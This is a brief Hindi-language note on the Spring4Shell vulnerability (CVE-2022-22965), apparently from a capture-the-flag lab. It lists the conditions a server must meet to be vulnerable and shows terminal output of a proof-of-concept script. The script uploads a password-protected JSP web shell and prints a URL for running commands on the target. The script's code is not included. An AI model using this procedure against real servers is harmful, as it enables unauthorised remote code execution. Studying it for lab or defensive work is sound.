Spring4Shell: CVE-2022-22965 RCE

जावा स्प्रिंग फ्रेमवर्क RCE भेद्यता

यह भेद्यता "Spring Core" — फ्रेमवर्क के हृदय — नामक घटक को प्रभावित करती है

वर्तमान भेद्यता की शर्तें:-

• JDK 9+
• स्प्रिंग फ्रेमवर्क का एक कमजोर संस्करण (<5.2 | 5.2.0-19 | 5.3.0-17)
• Apache Tomcat, स्प्रिंग अनुप्रयोग के लिए एक सर्वर के रूप में, WAR के रूप में पैकेज्ड
• स्प्रिंग फ्रेमवर्क के spring-webmvc और/या spring-webflux घटकों पर निर्भरता

शोषण

user@attacker:~$ ./exploit.py --help
usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url

Spring4Shell RCE Proof of Concept

positional arguments:
  url                   Target URL

optional arguments:
  -h, --help            show this help message and exit
  -f FILENAME, --filename FILENAME
                        Name of the file to upload (Default tomcatwar.jsp)
  -p PASSWORD, --password PASSWORD
                        Password to protect the shell with (Default: thm)
  -d DIRECTORY, --directory DIRECTORY
                        The upload path for the file (Default: ROOT)

user@attacker:~$ ./exploit.py http://MACHINE_IP/
Shell Uploaded Successfully!


# OUTPUT= Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&cmd=whoami